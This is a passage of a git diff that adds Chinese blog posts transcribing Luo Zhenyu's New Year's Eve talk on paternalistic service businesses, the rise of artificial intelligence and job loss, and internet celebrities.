+我们来看一个人叫乔布斯。他离开我们已经五年了，至今我们怀念他。可是扪心自问，我们怀念他什么呢？其实你不觉得吗？我们有一种受虐的情节，我们怀念他对我们的粗暴。他公然说，消费者不知道我们要什么，我们做出来了，拿给他看，他们就知道他们要什么了。太不尊重我们的需求了！但是，在乔布斯身上，其实我们感知到了一种东西，这个东西我说出来大家可能会不承认，但是我心里有，在乔布斯身上，我感知到了一种叫父爱的东西。他站得高，他像山一样那么高，他看到了远方，他知道什么东西好。然后他一转头对我说，孩子，把你手中的那个破玩意兒给我丢了，爹告诉你什么是好东西。这个世界在呼唤这种粗暴的态度。我们生命当中经常有这样的时刻，比如说我们一帮人呼朋唤友出去吃饭，最讨厌的这个时候是谁？是那种说随便去哪儿吃，你说，我他妈知道你要去哪儿吃？我们这个时候最喜欢的朋友是什么？是说罗胖，我最近知道有一个饭馆特别好，我包你好吃，跟我来，然后跟你讲一大堆它的好处，信和不信，你都会心悦诚服的像一只小狗一样跟着他去了。我们在很多时候不需要你尊重我的需求，你告诉我一个需求就好了嘛。 + +有一次我请客吃饭，我就是因为实在太忙，我不知道什么好馆子，我给和菜头打了一个电话，和菜头说不许换，问了我就不许换了，去潮汕牛肉火锅，北京我吃了十几家，有一家最好，现在我告诉你地址，进去之后直接报我的名字，老板上什么你就吃什么，他给你的纸条上写的涮肉的时间，写四秒，你绝对不要给我涮五秒，酱料池那儿搁了很多种，你只许用一种，就是酱油加一点辣椒圈，绝对不可以用麻酱。我爱死他了，对我再粗暴一点好不好？ + +所以，有一次我遇到张一鸣，在一个场合，今日头条，我说，我走在你的反面。我的意思不是我跟他敌对啊，我说，你所践行的叫**“母爱逻辑”**，就是孩子要什么，妈给你更多，惯得你没样。但是我总觉得，我的商业生涯要走在这个逻辑的反面，走在父爱逻辑里。**首先我得站得更高、看得更远，我得知道什么是好东西，然后我也许态度粗暴冷峻地跟我的用户说，来，这个是好东西，我把它称之为叫父爱算法**。在这个算法世界当中，一定有它的一席之地，最好的服务是给你还不知道的好东西。这是下一个消费升级的方向。 + +过去三十多年，中国所有的企业，我们所熟悉的前提是什么？是匮乏。所以我们假定，企业干好三件事就可以了，第一，你的产能不够大，你能生产出更多的东西。第二，你的品质管控不够好，你的产品服务的质量是过硬的。第三，你把价格给我降下来。我们以为这样的企业就是好企业。真的吗？匮乏到丰裕时间，中国人用三十年左右的时间，一眨眼就过去了。我们现在更需要的创业者，或者说未来的伟大企业是，你告诉我我需要什么。中国市场现在处于什么样的关口，假设你很有钱，你买得起一千平米、两千平米的别墅，但是你找不到一家靠谱的市内软装设计公司，可以放心地给你交钥匙的工程，你很有钱对吧？你的父母现在病了，你说我能不能用医疗直升机把他直接送到医院，住进最豪华的病房，有最顶级的医生对他进行医疗，我愿意花钱，对不起，中国市场没有这种服务。你说我现在生了一个孩子，我工作太忙，我愿意花钱，请最棒的育婴嫂，能够让我彻底放心的。对不起，中介机构会告诉你，价格不合适可以再谈，见面面试，你可以面试一百个育婴嫂，随便换，想要满意的，没有。 + +我们的市场正处于这样的时代，你想要一个足够好的东西，是没有的。所以我在向我的一个同学，我见他一次面我就在劝他，我说创业吧，2017年有一个大机会，去做家政。你应该到211大学里面的毕业生当中去挑选保姆，去向最好的英国管家或者菲佣去学习他们的保姆技术，你给出高工资，给出许诺，干两年之后，要么转岗当培训师，要么我退你一笔青春损失费，你改行。更好的分工，更好的专业分工里面诞生的更优质的服务者，中国经济正在呼唤这群人。这种行业到处都有。不要给我卖什么健身卡了好不好？派个人盯住我，看着我每一顿饭，让我把肥减下来。不要再让我定制什么西装，什么细到钮扣上的线的颜色，我一个直男癌，我懂什么选择？你直接给我一年四季配好了不就完了嘛，我愿意花钱。**所有这些服务的升级，用粗暴的态度，无视我需求的态度，直接给我一个结果的服务，这就是我要的。** + +在一个消费者不知道自己要什么的世界里创业，这是2017年的大机会，2017年你等着瞧，一定会出现这样的企业。它们不会以低价来诱惑市场，因此可以轻松地盈利。他们提供你原来用钱也买不到的东西，所以也不存在什么营销难题。他们不相信什么认知、盈余、共享经济。扯！好东西、好服务，就应该挣钱，凭什么免费分享？专业人员在专业分工中提供专业的服务，其中的佼佼者应该获得有尊严的收入和满意的利润。 + +接下来，我不得不拿我们做的事举个例子。你知道我要提“得到”了。其实我们下决心在2016年推出“得到”，这种好像逆时代潮流而动的知识付费项目，本质上我就发现，所有传播知识的领域，其实好像都不在提供服务，而是产品，比如说出版业，出版业出的是产品吗？不，它出的是产品而不是服务。书卖给你之后，没事儿了。我作为一个出版业的编辑，我只关心，你拿起这本书一分钟之内是不是决定下单。再看一个产业，传媒业。传媒业是在为你服务吗？当然不是，他是为自己的广告主服务，他要的只是你拿出你的时间。还有教育业，教育业是服务吗？他服务凭什么还点名啊？凭什么扣住我们的毕业证不发啊？凭什么派什么辅导员，管理我们的日常生活？不，教育业本质上是现代社会酝酿出来的一种社会管束体制，它不完全是服务业。这原来是二百多年的工业社会传递知识的三大产业，但是我觉得，现在有一个机会出现，就是我提供知识服务。这个知识服务的场景，其实灵感来自于已经今年臭大街的一个概念，叫O2O。 + +我们在说，互联网上每一个普通人被赋能，成为一个君王，他应该拥有自己的朝廷。这个朝廷什么样？御马监，现在有滴滴干了，御膳房呢？有美团、饿了么、百度外卖干了，那凭什么不能有一个翰林院呢？你们是君王，你们掏钱，你们雇了一帮有学问的老先生，在翰林院里呆着。我现在想吟诗作赋，读一点胜贤经典，知道一点美国的最新的认知，来叫一个老头来，跪我面前，好好说。这叫服务。凭什么我们站起来叫老师好啊？老师是你雇的。这才是真正的优秀服务业，有人出钱，别跟我谈共享经济。而另外一方面，他之所以能够服务于你，挣你这个钱，是因为他懂的事情你不懂。对，真正皇帝把先生请到你面前，你以为老先生会跪着吗？先假模假式地跪着，然后他跟皇帝讲，他仍然是老师。这是一种过去我们的市场不太熟悉的人和人的关系，一种尊卑的重新拟定的秩序。对，所有的行业，不管你原来在做产品还是做服务，你必须从产品到服务，必须从初级的服务到更好的服务在演进，这是个层层叠叠的机会，市场给你释放了无穷的空间。 + +比如说，我们今天的赞助商vivo手机，我跟他们聊的时候，他们就告诉我，别人都在生产手机，他们就在琢磨着，怎么能把手机转化为一种服务。比如他们就觉得，如果你还认为它是手机的话，你就应该做通话功能，但是如果你认为它是服务的话，那可能我们要把精力放在摄像头上。对，这就是一种从产品到服务的思维的转化。 + +我再举一个例子，北京有一家餐厅，云南菜，叫云海肴。他原来每年在时令季节都会卖云南那种非常尊贵的蘑菇，松茸之类的东西，卖得不便宜哦，他们的客流非常大，川流不息，但是发现真的不怎么卖。但是今年，他们只换了一句话，真的只换了一句话，他跟他们的用户讲，云南的尊贵的蘑菇松茸要上市了，想不想吃？想吃来报名，你们心里有数的，我们这样的大企业到云南收购松茸，量大一定便宜，我们又会挑货，我们又会冷藏和运输，交给我们，我给你们提供这个服务，免费，而且没准还低价，来吧，报名。你知道，同样的卖蘑菇，今年只是话说得不同，涨了二十倍。这里是什么样的机会？其实它内涵的潜台词发生了重大的变化，原来的潜台词是什么？你要什么？我有。现在的潜台词是什么？**你不用懂，交给我，我来。** + +当然，这拨大机会不是谁都看得见的。为什么？因为市场给你一个假象，就是所有的需求都已经被满足。身在北京的人知道，北京周边多少渡假村？可是，北京人扪心自问，有一家你满意的吗？但是你怎么不满意，你不知道啊。没人给你，你看不出来啊，所以市场的机会好像在饱和，新的机会没有人能够定义出来，我们在等待每一个行业的“乔布斯”。 + +前面我漏讲了一个片子，黄汪，小米手环的创始人，他就讲，乔布斯死了，整个智能硬件行业都在微光前行，缺了这样的定义者，对，这个行业非常难，在这个时候，我们其实只需要记取推特的创始人威廉姆斯讲的一句话，他说，我们给他们提供了垃圾食品，他们吃了，我们就想，人们需要的果然是垃圾食品。不对，我们只是没有办法，我们只是不知道除了现在喂给我们吃的，我们还有什么更好的选择。所以，更好的服务有无穷无尽的上升空间。谢谢各位。 diff --git a/_posts/2017-01-04-188-luozhenyu-2017-eve-03.md b/_posts/2017-01-04-188-luozhenyu-2017-eve-03.md new file mode 100644 index 0000000..fb7a020 --- /dev/null +++ b/_posts/2017-01-04-188-luozhenyu-2017-eve-03.md @@ -0,0 +1,57 @@ +--- +layout: post +title: 三.智能革命 +pid: 188 +tags: [罗胖跨年演讲文稿] +--- +罗振宇：下一只黑天鹅，其实比较大，比我的脸还大，虚，比那谁的肾都虚。这就是人工智能。人工智能作为一个不确定性，2016年已经毫无任何意义的来到我们的身边。有这么几件事，印象深刻，除了AlphaGo大战李世石之外，鲍勃迪伦获得了今年的诺贝尔文学奖，然后IBM公司用炫技的心态刷了一把存在感，用他们的人工智能的机器叫watson，花了几秒钟的时间，阅读了鲍勃迪伦先生的作品，然后，给他说出了一句话，你的歌曲反映的是两种情绪，叫流逝的光阴，和枯萎的爱情。这是一个机器的判断。 + +同样是这个watson，今年一位在日本的女性身患重病，医生已经觉得自己束手无策的情况下，waton花了十几分钟时间，读了2000万页的医疗文献。两千万亿是什么概念？堆起来大概四千米高。四千米高大概多高？二十多个腾讯大厦，十几分钟读完，然后给出自己的医疗建议，救了这个女性一命。这就是人工智能在2016年给我们秀出来的肌肉。我们知道，有一些我们不熟悉的东西正在崛起，我们的睡塌之旁不是有人酣睡，是有东西醒了，他正缓缓地坐起来，他是什么，我们不知道。这就是我们正在面对的巨大的黑天鹅，智能革命。 + +智能革命来得又快又急。在2016年的时候，几乎在硅谷的所有大公司，什么谷歌、苹果、Facebook、亚马逊全部投入重兵，不管这些公司的主营业务有多么不一样，大家都押注在人工智能上。中国的公司也一样。百度是最着急的，因为我们知道百度今年过得不是很好，对吧？既然这一局大家都上听了，自己的牌还一塌糊涂，干脆点炮算了。所以今年李彦宏直接说，移动互联网时代结束了，别玩了，下一步人工智能，我是强项。对，张一鸣说，中国最顶尖的算法工程师主要都在百度，所以今年嘲笑百度的人有可能笑早了。这是一个全球性的现象，大家都在押注人工智能。西方人也在这么说，人工智能技术方向尚不明朗，但是所有的大公司都已经重兵进入。这个人是LinkedIn的创始人里德•霍夫曼。所以第三只黑天鹅，我们就重点来聊聊人工智能。 + +作为一个文科生，说实话面对这样的课题，我本来是选择躲的。但是2016年既然要做跨年演讲，这个话题无论如何也躲不过，所以我从年中开始就访问遍了我能找到的人工智能专家。人工智能是什么？作为一个文科生，我有一点优势，就是如果我稍微听懂了一点，我会用人话把它说出来，这就是下面我要干的事情。 + +人工智能和我们通常理解的不太一样。我简单说这么几点：**第一点，人工智能，它不是复制人类，不是，它跟人一点都不一样，它是另外一种完全不同的存在。**我们人的思维方式是什么？我们人的思维方式总是想尽可能去简化，为什么？因为我们太脆弱，我们用的是这个肉脑袋。虽然有的人是脑黄金，有的人是肉丸子，但是本质上我们都在运行一个肉身的东西。人工智能是一个机器，机器和我们最大的不同就是它精力无限。所以，有人说人工智能就是中国那个最伟大的虚拟人物。中国最伟大的虚拟人物是谁？每个妈妈都说过那个人，加人家的孩子。它是一个勤奋的难以想象的又听话的完美的笨小孩。你在学习的时候，人家在学习，你在游戏的时候人家在学习，你休息的时候人家还在学习。我们的妈妈们不是经常跟我们讲好象有这么一个人存在嘛。对，我们假想一样，今年3月中旬李世石大战AlphaGO，其实李世石还赢过一局。我们想像一下当天晚上发生了什么，李世石是在接受采访，在吃饭，在睡觉，而AlphaGO当天晚上人家输了，它没有任何情绪，它是一个机器，当天晚上自己和自己下了一百万盘。你拿这样的人能怎么办？第二天李世石见到它的时候，是另外一个存在了，是李世石通过一生的努力也达不到的距离，已经拉开了。这就是中国人感觉到最悲情的那句话，就是比你还聪明的人还比你勤奋。你试试每天早上6点20起来还发语音？当然，如果是人工智能，连这样的抱怨都没有，人家就发了嘛。你要发多少条都可以。 + +这是机器和人类思维方式的一个重大区别。我们人类所谓有文化的人是什么人？就是所谓这个人很了不起，很有学问，是什么人？我们的受教育堆积起来这样一个过程，就是我们总试图对世界进行简化和抽象的理解，我们从上学第一天起，我们学的字、词、句、篇章，我们学的公式、原理、理论，都是试图通过最简省的方向来抽象这个世界，因为我们大脑的带宽有限，因为我们传递知识的那个带宽有限，我们只能采取这种方法。所以，人类的知识史上最伟大的原则叫奥卡姆剃刀原则，叫如无必要，勿增实体。说句人话就是怎么简单怎么来，不要搞那些复杂的东西。但是人工智能不这样啊，人工智能有无限的精力啊，它为什么要简单呢？它的世界里没有简化这一说啊。这是第四范式的创始人戴文渊跟我讲的一句话，人的思维习惯是怎么简单怎么来，机器的思维习惯是怎么复杂怎么来。比如说我们人类觉得伟大的发明，牛顿三大定律，过了多少年，又有伟大的发明，爱因斯坦的相对论。请注意，这不是世界的真相，所有这些理论的结晶只是对世界抽象简化理解的结果。如果是机器的世界，它会这样觉得，哦，原来牛顿的世界观和爱因斯坦的世界观是因为速度的不同。那好，把整个宇宙的速度分成三千等分，如果他愿意的话，可以分成一亿等分，然后每一个等分里面再搞一亿个原理，就可以了。你看我们现在理解人类，还需要进行抽象，比如说朝阳区群众，深圳南山区群众，对人工智能来说不存在这个词，你就是你，然后在你身上贴各种各样的标签，这个标签也会复杂到难以想象。它会给你简单地贴上男或者女吗？不可能，我们每个人心里都知道，我们都不是纯粹的男和女，人工智能会给你56种以上的性别标签。年龄？年龄叫什么标签？如果人工智能愿意的话，可以把你的年龄精确到每一秒，给每个人无穷的维度。一家店，一家店怎么可能是人工智能运行的结果，人工智能运行的亚马逊的店，它有三亿个客户，那就运行三亿个店给你，每个人看到的亚马逊是不一样的。老天爷，我们在和一个什么样的物种打交道？我们原来文明的所有的基础对它来说都不存在，它用最复杂的方式，它一出手我们就没法儿理解的方式，在构建他自己的逻辑。所以人工智能为什么在2016年爆发？就是因为驾驭这个复杂的因素出现了。业界公认，2016年人工智能的爆发三大原因，算法的进步、硬件的进步和大数据的进步。 + +算法的进步，你们愿意听我说吗？我是搞不懂的。但是，有人告诉了我很多词，就过吧。 + +我们再来看硬件的进步，你们愿意听我说吗？我也不知道。但是，人工智能核心硬件叫GPU，这个领域的领先的公司，英伟达，2016年股价从30美金一股涨到100美金一股，三倍，但是好消息是它的创始人是华裔叫黄仁勋，硬件有多重要，GPU有多重要，大家回去可以自行百度。 + +重点是最后一个词，大数据。为什么大数据这么重要？因为这是这一轮人工智能算法的核心，这一轮**人工智能算法的核心叫深度学习**。咱们别扯那么多虚的，简单描述一下，一个原理我们假设需要教机器认出一只猫来，怎么办？就这个家伙。原来的方法是这样的，我们描述和刻划这个猫的特征，眼睛什么样，胡子什么样，花纹什么样，用一堆条件，得出结果，试图教会机器认出这只猫，胡子多长它就是猫，颜色什么样它就是猫等等叠加无数的条件。但是这一轮人工智能深度学习的算法不是这样的，它不用条件，它直接给猫一百万张图片。多吗？二百多张。人工智能教机器认猫，至少是这块屏的一万倍，说给机器，告诉你，这里头有猫，然后自己去定规则，自己去想办法，什么办法我不知道，因为你太复杂。最后你会发现，数据输得越多，从一百万到一千万张，再到一亿张，它认猫的准确性就越来越强，这就是大数据的力量。 + +在人工智能的世界里，没有什么猫，只有算法，只有逐渐逼近真相。人工智能会下围棋，它根本不知道什么叫布局，什么叫定式，什么叫飞，什么叫断，它只知道一张一张图形，从这一张图形往下一张图形演化，胜率会提升还是下降，在它那里全部变成了数据。最后给你一个结果而已。所以人工智能在这个项目上特别像我们的人，我们人是怎么识别这个世界的？有的时候就是见得多了嘛。比如说有人问，美国联邦最高法院的法官，说怎么识别色情图片啊？他说我不知道色情的定义，你让我看一眼那个图片，我就知道是不是色情。斯图尔特法官一生一定见过大量的色情图片，大数据训练了他，没有道理，没有规则，没有条件，见到我就知道，这就是人工智能运行的方法。这里面最重要的就是数据，医疗人工智能，它就需要大量的医疗数据。自动驾驶的人工智能，就需要大量的路况数据。想读懂人的表情吗？人工智能看来没什么难的，架着摄像机，比如说今天在场的一万人，每个摄像机跟踪你24小时，不断地拍照片，跟踪你的情绪，旁边有人定义，他是高兴还是不高兴，高兴还是不高兴，然后出现一亿个数据，再去读懂人的表情就没有问题啊，至于它是怎么读懂的，没人知道，那是它的世界，那个抛弃了简单简化的原则的世界，里面发生了什么，没人能给你解释，这就是人工智能的运行的方法。 + +所以，人工智能跟我们不是一样的存在，对于人工智能，最重要的一个东西还有一个，就是我们都觉得，哦哟，这还了得，人工智能，文科生闪开，你们不懂，这是高科技。错了，这一轮人工智能它之所以爆发，是因为它降低了参与者的门槛。原来做自动驾驶的和做图形识别的，和做语音识别的，是不同的算法，但是因为深度学习算法的存在，算法的底层被打通了，本质上是一种算法。所以大量的人都可以做算法工程师，这个行当的门槛降低了。这带来什么问题？带来人工智能这个产业竞争的战场不再是算法，而是数据。你要理解了这一点，很多去年发生的现象都可以解释了。比如说，有一个很著名的女士，李飞飞，她原来是斯坦福大学的人工智能一个实验室的主任，今年去了谷歌，她是为了钱去的吗？可能是吧。但是最重要的理由是，在实验室里，在研究所里，已经没法再推进人工智能了。为什么？就是我刚才讲的，人工智能是靠数据喂养出来的怪兽，不去贴近最有数据的地方，一个学者将一事无成。所以学者进入产业界，是人工智能的一大特点。 + +第二，2016年大量的人工智能的领先公司正在把自己的基础设施、把自己辛苦研发出来的算法向社会公众免费公开，随便用。为什么？就是我刚才讲的，数据才重要，算法不重要了，所以你们随便用，只要把数据留在我这儿就OK了，这是大公司的算法。当然，还有一点，王煜全跟我讲，王煜全说其实大公司公开自己的算法，免费给大家用，还有一个算计，因为他们心知肚明，人工智能一定会出现下一代巨头，但是这些巨头是谁，他们也不知道，所以只好把全部的家底全部摊开给大家用，我们就放心去用。到数据最丰富的地方去，上山下乡，深入群众，到行业一线去，谁能搞到最丰富的数据，谁能够定义出这些数据的方法，谁就可能是下一代巨头，这是现在巨头最害怕的事情。 + +在这儿我顺便替王煜全老师办件事，他让我给大家捎一句话，今年，不，明年2017年4月19号这是多么没有节操的日子，他要办前哨大会，全球科技趋势发布，他要利用自己理解的科技，向大家继续介绍什么是人工智能。好，这是一个趋势。 + +2016年我还发现一件事，就是大量的创业公司，你也没觉得它有多少基础和技术储备，它居然也兴冲冲地要搞人工智能。刚开始我觉得，这是不是一个泡沫现象？比如我的一个朋友傅盛，他的猎豹，去年股价也不怎么样，老喊着转型，一转型就人工智能，然后我就问他，傅盛你这公司原来不是做互联网工具的吗？怎么突然转型做人工智能了呢？他给了我四句话，叫有苗不愁长，全靠数据养。现在是门槛低得多，只要你敢想。打油诗一首。意思很简单，我们这样的创业公司，新秀型公司，因为我们手头有数据，因为我有能力定义互联网产品，所以这一轮机会我有。 + +经过多次和他的长谈，傅盛说服了我，我觉得猎豹的这次转型真的是有希望，至少很多公司有希望。人工智能不是什么高不可攀的门槛，打落的创业公司在往里面涌，就是因为门槛在降低。 + +当然，在这儿我们要说到中国人的优势。前不久我问一位旅美华人，我说你觉得中国人的有时在哪儿？他想了半天，给了我三个字，规模化。他说**规模化的能力是中国这个民族，是现在这个国家全球罕见的一种能力。**比如说苹果，现在美国政府正在劝说苹果公司，是不是生产手机挪回到美国本土？如果苹果公司一年就生产一百万部手机的话，迁回美国本土，没准效率更高、成本更低，没问题。但问题是苹果公司每年要出货将近2亿部手机，这个规模化的能力，对不起，只能中国人有。我们见过那种圣诞树吧？一个圣诞树，下面跑小火车，就这么一个简单的玩意儿，要整合产业链至少十几家。美国人一下订单，四百万张，没有中国人出手，全欧美人民过什么圣诞节啊？你没有这种规模化的能力。人工智能要的是规模化的数据，这就是中国人的强项。所以，我们看到过一些数字，全世界人工智能的相关论文，百分之四十几是中国人写的，我们的脑子对他的理解一点儿也不差，我们每年毕业上百万的工程师，超过一些小国的人口。当算法门槛没有那么高的时候，中国的人口优势又出来了，更重要的是，我们中国人多么热爱互联网，我们通过买买买，卖卖卖，订订订，不断地把自己的数据上传，喂养人工智能这个怪兽。所以现在请听题，人工职能这拨及黑，中国人有多少胜算呢？好吧，承你吉言。 + +人工智能其实还有第三个误解，很多人觉得人工智能还是人的延伸，是一次过去意义上的技术革命，其实真的不是，人工智能是人的替代，这个趋势是前所未有的。所谓人的延伸，是过去一万多年技术史的常态，弓箭是我们手的延伸，车轮是我们腿的延伸，电视、广播是我们耳目的延伸，互联网是我们人脑的延伸，我们人类不断地通过技术扩大我们的世界和能力。但是人工智能这一轮，好象有点不一样。吴伯凡老师告诉我一个洞察，我觉得特别有意思。就是你看谷歌的逻辑，谷歌最开始的逻辑是什么？就是延伸，给你更大的世界。谷歌的名字其实就是这个字，就是1后面100个0，这个数字就是谷歌，但是后面拼错了。谷歌是试图把世界更丰富、更多元、更广阔的塞给我们的用户。你过去查一个资料，得到图书馆抄小卡片吧，现在谷歌上一搜就来了，“时间的朋友”这五个字，我在百度上搜过，三千万个结果，世界太丰富了，我们人类太强大了。但是强大到这个份儿上，我们心理也有一啊点小尴尬，三千万个结果，我真的是看不过来。所以延伸人的肢体、智能这条路，到今天已经快走到了末端。所以，谷歌刚开始是顺着这条路跑的，现在突然来了一个折返跑。**谷歌创始之后，它在干什么？它在试图尽量少给你结果，而不是多给。**原来我们输入一个地点，啪，几千万个结果出来，现在输入一个地点，啪，一张地图出来了，你不需要了解更多。未来呢？未来我们都知道，谷歌在研发它的智能汽车，也就是你输入一个地点，车来了，把你送到地点，你根本不需要知道哪堵，周边的地形怎么样，什么都不需要知道，给要求，直接给结果，这是谷歌走的一个相反的了逻辑历程。 + +说到这儿，理解了这一点，我们就知道我们太自大了。我们还在说人工智能，这个词好像是这玩意儿我们人造的，我还能控制它，我们距离控制它已经越来越远了，它和人之间的关系已经不是主人和工具之间的关系，而是心理学界经常讲的大象和骑象人之间的关系。什么意思？就是**人工智能就像那头大象，它用自己的算法在走它自己的路，我们骑在它身上，偶尔给它下一个命令，它偶尔会听，能够改变路线，但是本质上，我们是跟着它在走。**举一个例子，假设十年后，人工智能医生已经极其发达，你私人有一部这样的人工智能医生，现在它给你一个建议，说来，把这个药片吃了。你说我为什么要吃啊？我不痛不痒。人工智能医生说，这是我跟踪你的大数据，有几千万页，了解了现代医疗技术的发展，也读了几千万页，道理你想我讲给你听吗？大概花一万年的时间，你愿意听吗？不愿意花这个时间，来，把药片吃了，对你好。 + +在过去的人类世界当中，不管什么样的技术，本质上都是连接人和人的，蒸汽机牛吧？火车牛吧？他让我们到远方，在远方能够遇到更多的人。但是人工智能呢？把我们原来的协作关系让它彻底解体掉。我们的司机，我们的秘书，我们的医生，我们的律师，逐渐要退到历史的暗影当中，人际关系要变成人机关系。我们原来所有文明的基础，就是人和人之间的协作，面临解体，人类文明必须重新构建人和人的关系，这个冲击就实在是太大了。每个人都有可能在人工智能这个浪潮中获益，但是每个人脚下的土壤都将因此而动摇。 + +举一个例子，有一本书叫《机器人时代》，里面讲了一个故事，我不知道是真是假，原文引述，左边这位小福特，汽车公司创始人的二代，右边这位，工会领袖，叫鲁瑟。据说有一天小福特带领工会领袖去看全自动机器人生产汽车的厂房，然后企业主福特得意地跟工会领袖说，看见了吗？我现在全部用是机器人工人，我不用你们工会成员了，你再大本事能找机器人收会费吗？工会领袖鲁瑟说，对啊，你是用机器人了，未来你把车卖给谁呢？这就是我刚才讲的，每个人脚下的土壤都在发生动摇，这是我们现在的基本处境。 + +过去我们创业者，我们商人，我们思考世界有一个单一的维度，叫效率，叫繁荣，叫经济。我们追逐那些数字，没有问题，机器人或者人工智能会给我们人类文明一个空前的繁荣，繁荣到几乎所有人你不愿意工作就可以不工作的程度。但是与此同时，我们人类文明所困扰的那些问题，那些价值观难题就会出现，要更多的自由还是更多的公平？更多的效率还是更多的安全？更多的隐私还是更多的服务？这些矛盾会在机器人人工智能到来之后变得空前的复杂。 + +未来社会什么样，谁都不知道，我也不敢信口雌黄地猜测。但是现在我要宣布一件事，尤瓦尔•赫拉利写出了《人类简史》，去年卖了一百万册，席卷了中国的知识界。他新写了一本书，叫《未来简史》，就是回答我刚才提的问题，到目前为止全世界只有英国版，美国版还没有，但是中文版，选择在《时间的朋友》现场首发。让我们的用户比别人的用户率先看到最该看到的东西，这回我们又做到了，很傲娇。可以扫二维码，直接下单，你们将是全球第一拨拿到这本书的中文版用户。 + +这本书我率先看了，我就举当中的一个小判断，就是未来会不会出现这样一种人，叫毫无用处的人。我们所熟知的人类关系，最恶劣的是什么？就是剥削和被剥削，奴役和被奴役嘛。但是因为人工智能的出现，会出现有一种人，他没有被剥削的价值，没有被奴役的价值，一两百年前，一个罪恶的统治者，穷兵黩武，他好歹还要把老百姓当炮灰一样押上战场吧，去打仗吧。一个再残忍的资本家，他好歹要去剥削工人吧。人工智能时代，可能会让一群人连这个价值都没有，你不需要工作，你只是活得没有意义，你也没有尊严，你所有能干的事情，机器人比你能干一万倍，你呆着就好。政府可能会给你一个虚拟现实的眼镜，你在那儿打游戏吧，就这么度过你一生。会不会出现这样一种人？这种人的比例有多大？尤瓦尔•赫拉利在这本书的判断是很大。 + +好吧，这本书里的奇思妙想，包括那种让我自己看了都觉得惊骇的判断太多，有勇气的人不妨翻翻这本书，跟着尤瓦尔•赫拉利的思路往下想，怀着一种极恐的心情细思下去，没有勇气也没有关系，等到那个时代到来总会比现在好，至少可以不工作，也挺好。 + +但是回到现实，毕竟有一件事情迫在眉睫，就是大量的工作会失去，跟蒸汽机时代，汽车终将会替代马车，汽锤发明以后，铁匠终会失业一样，这个世界当中大量的人会失去他们的工作。卡普兰，斯坦福大学的教授，做了一个调查，美国有案可查的720个职业当中将会有47%被人工智能取代，在中国这个数字会更多，大概70%几的职业会被人工智能替代。那么怎么办？我们现在心中升起的疑问是什么样的人会被替代？好，我们不妨给一个粗糙的结论，请注意是粗糙的结论。如果你现在所有的优势都是附着在某种职业技能上，不管你是会开车，还是会打针，会开外科手术，只要你所有的优势只在一种特定的技能上，人工智能的潮水迟早会淹没的，你会被替代。那什么样的人不会被替代？简单的说，这种说法有很多种，我最认可的是这么一种，如果你的优势是领导力和创造力，你就身处在一个暂时不会被淹没的高地上。好，什么是领导力？就是你会组织一群人去做一件极其复杂的事，一件从未有过的事，叫领导力。如果你能做一件从来不存在的事，这叫创造力。那你用这两种方法和人工智能赛跑，那就有一丝胜算。当然有人会反驳说，没有那么惨啦，过去产业革命事实证明不也都是繁荣的结果吗？没有那么多的悲哀。但是这一次真的不一样了，上一次的产业革命就是电气化革命，前后大概花了三十年的时间，老铁匠的职业是被工业的汽锤给替代了，但是那个过程相对来说比较漫长。老铁匠的儿子大学毕业了，在办公室里找到了文员的工作，这个家庭的收入受到的冲击没有那么大，但是人工智能这一轮真的不一样，它会非常快，在未来五到十年之后，你会发现这个世界变得你不认识了。所以，我们这一代人总觉得进步是好的，但是正如这句话写的，进步是好的，但是比进步更好的是缓慢的进步。所以，2016年是人工智能的元年，这一年我们听到了一个好消息和一个坏消息，好消息是我们在进步，坏消息是，这一次我们可能进步得太快。 + +当然怎么办？2016年我听过的最优质的建议，来自于财新的总编王烁，王烁在他的专栏里给我们讲了一种另类的**“二八原则”**，就是你只需要**抽出20%的领域去了解一个领域80%的知识就足够了**。过去我们主张说术业有专攻，我们应该在学问的某一个分杈的金字塔上不断向尖端攀登，王烁说没有必要，因为前面我们判断得好，只要你是某一个专业的技能，很可能就会被替代，我们的人工智能将来玩的是什么？是捉迷藏，我们跟它们拼的是跨界的能力、是整合的能力、是协作的能力、是创造的能力，所以以一种游牧民族的方式，以一种知识的游牧民族的姿态出现在知识技能和人类文明的原野上，这恰恰是我们应该和人工智能博弈所采取的姿势。哪里水草丰美，我们就转场到哪里，不是我们对尖端的知识没有兴趣，而是80%首先就够了。另外，当我们不断地从一处牵往另外一处的时候，一个领域知识的80%已经足够激发我们对全新领域的好奇心，这个时候我们身为游牧民族，搭起我们的帐篷，赶着我们的牛车，去到那全新的草地上，把自己变成一条知识的溪流，让观念、思想在里面不断地发生验证、融合、碰撞、反证，当我们以这么一种姿态生活的时候，人工智能暂时真的就拿我们没办法。 diff --git a/_posts/2017-01-04-189-luozhenyu-2017-eve-04.md b/_posts/2017-01-04-189-luozhenyu-2017-eve-04.md new file mode 100644 index 0000000..58d648a --- /dev/null +++ b/_posts/2017-01-04-189-luozhenyu-2017-eve-04.md @@ -0,0 +1,93 @@ +--- +layout: post +title: 四.认知迭代 +pid: 189 +tags: [罗胖跨年演讲文稿] +--- +罗振宇：第四只黑天鹅。今年年初，那还是一个冬天，有一次我遇到了真格基金的徐小平先生，他跟我说，我本来都准备退休了。但是我现在又决定不退了，为什么呢，因为有一件事情我搞不懂，就是网红。网红是怎么回事？我不退休了，我要去看一看。看了一圈之后，徐小平老师回来说，他说我搞明白了，**网红的定义是自我赋权的权威。** + +什么意思？过去所有的权威对于有别人给你赋权。别的权威，给你颁个证，发个奖，升个职，提拔你为权威，但是网红时代，突然出现了这么一种存在，谁也没告诉他是权威，他居然就可以是权威。 + +林林总总的网红出现在我们身边，网红已经多到了我们认不全的程度。对，我们过去是靠认知，推己及人等等一系列心法来把握这个世界，但是在网红遍地的世界，有一个使命出现了，叫认知迭代。 + +为什么要认知迭代？因为我们有限的认知正在让整个世界脱离而去，在失控。我们来看一屏字，这都是大网红，在座的各位，我敢打赌，你绝不可能认识1/3以上。我们随便说几个，这位叫“回忆专用小马甲”，在微博上2800万粉丝，现在发一条微博的价格，官方报价6万。他直播的冠名值两百万。有钱。下一个更有前。这个叫delicious大金，淘宝网红，草根，她的品牌衣服一上市，瞬间一天卖了一千万，现在一年收入一个亿。再看下一个，更奇葩，叫PPD娇妹，就这个样子，传说签约费五年三个亿。再看下一个，同道大叔，网红当中几千万粉丝，刚刚把他的公司卖掉，套现两个亿。对，很多人特别气愤，我已经不能再说了，再说马上救护车就要来了。很多人都受不了，我不喜欢他们，他们凭什么红？这些人你可能都不喜欢，但是人家不仅红了，而且变现了，这是最大的问题。这个世界正在你不知道、不满意、不愿意的地方出现一系列的东西，你都不知道怎么称呼它。 + 